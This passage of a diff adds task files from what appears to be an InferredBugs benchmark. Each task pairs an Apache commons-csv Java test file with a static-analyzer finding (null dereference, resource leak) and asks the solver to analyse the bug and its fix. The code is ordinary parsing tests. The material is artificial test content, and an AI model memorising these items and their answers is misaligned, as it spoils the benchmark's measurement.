+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (String code : codes) {
+            CSVParser parser = new CSVParser(new StringReader(code));
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (String code : codes) {
+            CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (String code : codes) {
+            CSVParser parser = new CSVParser(new StringReader(code));
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" \" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        CSVFormat format = new CSVFormat(',', '\'', CSVFormat.DISABLED, '/', false, false, true, true, "\r\n");
+
+        CSVParser parser = new CSVParser(code, format);
+        String[][] tmp = parser.getRecords();
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        CSVFormat format = new CSVFormat(',',  CSVFormat.DISABLED,  CSVFormat.DISABLED, '/', false, false, true, true, "\r\n");
+
+        CSVParser parser = new CSVParser(code, format);
+        String[][] tmp = parser.getRecords();
+        assertTrue(tmp.length > 0);
+
+        if (!CSVPrinterTest.equals(res, tmp)) {
+            assertTrue(false);
+        }
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+
+        String code = ""
+                + "a,b\n"            // 1)
+                + "\"\n\",\" \"\n"   // 2)
+                + "\"\",#\n"   // 2)
+                ;
+        String[][] res = {
+                {"a", "b"},
+                {"\n", " "},
+                {"", "#"},
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertEquals(CSVFormat.DISABLED, format.getCommentStart());
+
+        CSVParser parser = new CSVParser(code, format);
+        String[][] tmp = parser.getRecords();
+        assertTrue(tmp.length > 0);
+
+        if (!CSVPrinterTest.equals(res, tmp)) {
+            assertTrue(false);
+        }
+
+        String[][] res_comments = {
+                {"a", "b"},
+                {"\n", " "},
+                {""},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = new CSVParser(code, format);
+        tmp = parser.getRecords();
+
+        if (!CSVPrinterTest.equals(res_comments, tmp)) {
+            assertTrue(false);
+        }
+    }
+
+    @Test
+    public void testUnicodeEscape() throws Exception {
+        String code = "abc,\\u0070\\u0075\\u0062\\u006C\\u0069\\u0063";
+        CSVParser parser = new CSVParser(code, CSVFormat.DEFAULT.withUnicodeEscapesInterpreted(true));
+        final Iterator<String[]> iterator = parser.iterator();
+        String[] data = iterator.next();
+        assertEquals(2, data.length);
+        assertEquals("abc", data[0]);
+        assertEquals("public", data[1]);
+        assertFalse("Should not have any more records", iterator.hasNext());
+    }
+
+    @Test
+    public void testUnicodeEscapeMySQL() throws Exception {
+        String code = "abc\t\\u0070\\u0075\\u0062\\u006C\\u0069\\u0063";
+        CSVParser parser = new CSVParser(code, CSVFormat.MYSQL.withUnicodeEscapesInterpreted(true));
+        final Iterator<String[]> iterator = parser.iterator();
+        String[] data = iterator.next();
+        assertEquals(2, data.length);
+        assertEquals("abc", data[0]);
+        assertEquals("public", data[1]);
+        assertFalse("Should not have any more records", iterator.hasNext());
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(4, data.length);
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        String code = "foo\rbaar,\rhello,world\r,kanu";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(4, data.length);
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        String code = "foo\nbaar,\nhello,world\n,kanu";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(4, data.length);
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(3, data.length);
+    }
+
+    @Test
+    public void testForEach() {
+        List<String[]> records = new ArrayList<String[]>();
+        
+        Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        
+        for (String[] record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+        
+        assertEquals(3, records.size());
+        assertTrue(Arrays.equals(new String[]{"a", "b", "c"}, records.get(0)));
+        assertTrue(Arrays.equals(new String[]{"1", "2", "3"}, records.get(1)));
+        assertTrue(Arrays.equals(new String[]{"x", "y", "z"}, records.get(2)));
+    }
+
+    @Test
+    public void testIterator() {
+        Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        
+        Iterator<String[]> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+        
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (UnsupportedOperationException expected) {
+        }
+        assertTrue(Arrays.equals(new String[]{"a", "b", "c"}, iterator.next()));
+        assertTrue(Arrays.equals(new String[]{"1", "2", "3"}, iterator.next()));
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(Arrays.equals(new String[]{"x", "y", "z"}, iterator.next()));
+        assertFalse(iterator.hasNext());
+        
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (NoSuchElementException e) {
+            // expected
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `data` last assigned on line 410 could be null and is dereferenced at line 411.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testLineFeedEndings()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testLineFeedEndings():void.b68def46c30f2d9ae623b6fb9e8f7231
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testLineFeedEndings|NULL_DEREFERENCE
+
+### Node Key:
+8bd297b3d28e30f1b4b70c0be2cf3e0d
+
+### Hash:
+bbb689b085313af3a2f57550e1c4c8dc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6496/instruction.md b/inferredbugs-6496/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..64f302669b7d22449af66552dfd6597fcd6f2372
--- /dev/null
+++ b/inferredbugs-6496/instruction.md
@@ -0,0 +1,280 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 139
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.END_OF_STREAM;
+import static org.apache.commons.csv.Constants.UNDEFINED;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import java.io.StringReader;
+
+import org.junit.Test;
+
+/**
+ *
+ *
+ * @version $Id$
+ */
+public class ExtendedBufferedReaderTest {
+
+    @Test
+    public void testEmptyInput() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("");
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertNull(br.readLine());
+        assertEquals(0, br.read(new char[10], 0, 0));
+    }
+
+    @Test
+    public void testReadLookahead1() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("1\n2\r3\n");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.lookAhead());
+        assertEquals(UNDEFINED, br.getLastChar());
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.read()); // Start line 1
+        assertEquals('1', br.getLastChar());
+
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('1', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+
+        assertEquals('2', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('2', br.read()); // Start line 2
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+
+        assertEquals('\r', br.lookAhead());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+        assertEquals('\r', br.read());
+        assertEquals('\r', br.getLastChar());
+        assertEquals(2, br.getCurrentLineNumber());
+
+        assertEquals('3', br.lookAhead());
+        assertEquals('\r', br.getLastChar());
+        assertEquals('3', br.read()); // Start line 3
+        assertEquals('3', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals('\n', br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('3', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+
+    }
+
+    @Test
+    public void testReadLookahead2() throws Exception {
+        final char[] ref = new char[5];
+        final char[] res = new char[5];
+
+        final ExtendedBufferedReader br = getBufferedReader("abcdefg");
+        ref[0] = 'a';
+        ref[1] = 'b';
+        ref[2] = 'c';
+        assertEquals(3, br.read(res, 0, 3));
+        assertArrayEquals(ref, res);
+        assertEquals('c', br.getLastChar());
+
+        assertEquals('d', br.lookAhead());
+        ref[4] = 'd';
+        assertEquals(1, br.read(res, 4, 1));
+        assertArrayEquals(ref, res);
+        assertEquals('d', br.getLastChar());
+    }
+
+    @Test
+    public void testReadLine() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("");
+        assertNull(br.readLine());
+
+        br = getBufferedReader("\n");
+        assertEquals("",br.readLine());
+        assertNull(br.readLine());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals("foo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals("hello",br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals('f', br.read());
+        assertEquals('o', br.lookAhead());
+        assertEquals("oo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('h', br.lookAhead());
+        assertEquals("hello",br.readLine());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+
+        br = getBufferedReader("foo\rbaar\r\nfoo");
+        assertEquals("foo",br.readLine());
+        assertEquals('b', br.lookAhead());
+        assertEquals("baar",br.readLine());
+        assertEquals('f', br.lookAhead());
+        assertEquals("foo",br.readLine());
+        assertNull(br.readLine());
+    }
+
+    /*
+     * Test to illustrate  https://issues.apache.org/jira/browse/CSV-75
+     *
+     */
+    @Test
+    public void testReadChar() throws Exception {
+        final String LF="\n"; final String CR="\r"; final String CRLF=CR+LF; final String LFCR=LF+CR;// easier to read the string below
+        final String test="a" + LF + "b" + CR + "c" + LF + LF + "d" + CR + CR + "e" + LFCR + "f "+ CRLF;
+        //                EOL        eol        EOL  EOL        eol  eol        EOL+CR        EOL
+        final int EOLeolct = 9;
+        ExtendedBufferedReader br;
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.readLine() != null) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.read() != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        final char[] buff = new char[10];
+        while (br.read(buff, 0, 3) != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+    }
+
+    private ExtendedBufferedReader getBufferedReader(final String s) {
+        return new ExtendedBufferedReader(new StringReader(s));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired to `br` by call to `getBufferedReader(...)` at line 39 is not released after line 44.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testEmptyInput()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testEmptyInput():void.a2359c053c20466efd12ba1122f4c322
+
+### File:
+src/test/java/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testEmptyInput|RESOURCE_LEAK
+
+### Node Key:
+f133a6dfaa072505a5ed16416e655ea0
+
+### Hash:
+910ef03374e5eceab54c24ce981d417d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6497/instruction.md b/inferredbugs-6497/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6f6da77ff09a873671a5812e47c09e8d9e4b1f08
--- /dev/null
+++ b/inferredbugs-6497/instruction.md
@@ -0,0 +1,812 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 101
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.apache.commons.csv.Constants.CRLF;
+import static org.apache.commons.csv.Constants.LF;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ *
+ * @version $Id$
+ */
+public class CSVParserTest {
+
+    private static final String CSVINPUT = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+
+    private static final String[][] RESULT = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testGetLine() throws IOException {
+        final CSVParser parser = CSVParser.parseString(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        for (final String[] re : RESULT) {
+            assertArrayEquals(re, parser.nextRecord().values());
+        }
+
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        final CSVParser parser = CSVParser.parseString(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(RESULT.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < RESULT.length; i++) {
+            assertArrayEquals(RESULT[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        final String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        final String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        final String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        final String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyFile() throws Exception {
+        final CSVParser parser = CSVParser.parseString("", CSVFormat.DEFAULT);
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testCSV57() throws Exception {
+        final CSVParser parser = CSVParser.parseString("", CSVFormat.DEFAULT);
+        final List<CSVRecord> list = parser.getRecords();
+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        final String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        final String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
